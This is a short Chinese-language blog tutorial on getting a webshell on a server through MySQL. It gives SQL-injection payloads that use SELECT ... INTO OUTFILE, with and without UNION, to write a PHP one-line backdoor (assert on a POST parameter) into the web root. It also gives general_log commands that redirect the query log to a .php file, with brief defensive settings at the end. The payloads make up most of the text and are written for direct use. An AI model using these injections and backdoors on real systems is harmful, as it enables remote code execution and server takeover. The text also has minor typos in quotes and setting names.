MySQL 写一句话拿 WebShell

本文介绍两种利用 MySQL getshell 的方法:

  • select … into outfile
  • general_log

一、select … into outfile 介绍

利用需要满足以下条件:

  • 对web目录有写权限
  • GPC关闭(能使用单引号)
  • 有绝对路径(读文件可以不用,写文件必须)
  • 没有配置 –secure-file-priv

姿势:

  1. 有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>into outfile/home/wwwroot/shadowyspirits/evil.php’%23
  1. 无 union
id=2) into outfile/home/wwwroot/shadowyspirits/evil.php’ fields terminated by<?php assert($_POST["cmd"]);?>%23

其中 fields terminated by 是用来指定列之间分隔符,如果查询结果为单列则不会插入分隔符,所以必须有多个列才能成功写入一句话

二、general_log 介绍

利用需要满足以下条件:

  • 对web目录有写权限
  • GPC关闭(能使用单引号)
  • 有绝对路径(读文件可以不用,写文件必须)
  • 需要能执行多行sql语句

姿势:

set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '';

设置了 general_loggeneral_log_file 之后所有SQL记录都会写入指定的文件,所以会导致 log 文件非常大,推荐只暂时打开

需要注意的是 secure_file_priv 是只读属性,如果试图使用 set global 修改会报如下 Error

Error Code: 1238. Variable 'secure_file_priv' is a read only

三、防御姿势

  1. 设置 secure_file_prive = null (不允许导入和导出)
  2. 防止暴露网站绝对路径
  3. 正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限

你可能感兴趣的:(安全相关)